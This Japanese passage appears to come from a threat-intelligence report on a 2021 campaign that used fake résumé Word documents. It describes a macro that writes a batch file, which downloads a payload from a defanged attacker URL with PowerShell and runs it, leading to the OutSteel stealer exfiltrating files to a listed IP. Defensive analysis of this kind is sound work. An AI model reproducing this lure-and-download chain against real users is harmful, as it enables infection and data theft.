文書の内容は当該ジャーナリストの履歴書を想起させる体裁になっています。ただし、文字化けが見られることから、ウクライナ語版Windowsでは表示できないようなエンコーディングの問題があると思われます。画像は複数のサイトで公開されているストックフォト[1][2][3]で、そのジャーナリストの実際の写真ではないようです。この文字化けは、ユーザーを騙して[Enable Editing (編集を有効にする)]ボタンをクリックさせ、最終的に文書に埋め込まれたマクロを実行させようとする意図的なものと思われます。ユーザーが[Enable Editing]ボタンをクリックした場合に実行されるマクロ(図30参照)はmeancell.batというバッチスクリプトを作成します。このバッチスクリプトがPowerShellコマンドを実行し、Start-BitsTransferコマンドレットによってhxxp://1833[.] site/kpd1974.exeからペイロードをダウンロードします。その後このペイロードはeverylisten.exeとして保存・実行されます。図 30 は、この配布文書内にあるマクロの内容です。
マクロがダウンロード・実行したkpd1974.exeファイル (SHA256:b8ce958f56087c6cd55fa2131a1cd3256063e7c73adf36af313054b0f17b7b43) は、最終的に、ファイルをhxxp://45.146.165[.]91:8080/upld/に漏出させるOutSteelドキュメントスティーラツールの亜種を実行します。表5に示したように、類似するマクロを共有し、1833[.]siteにペイロードをホストしている追加の配布文書が2つ見つかりました。この2つの関連文書のファイル名の1つは、脅威グループが偽の履歴書をテーマに使い続けていたことを示唆しています。
初認 | ファイル名 | ダウンロードURL |
7/23/2021 | Довiдка (22-7-2021).doc | hxxp://1833[.]site/gp00973.exe |
7/23/2021 | CV_RUSLANA.doc | hxxp://1833[.]site/rsm1975.exe |
表5 7月の攻撃で使用された関連配布文書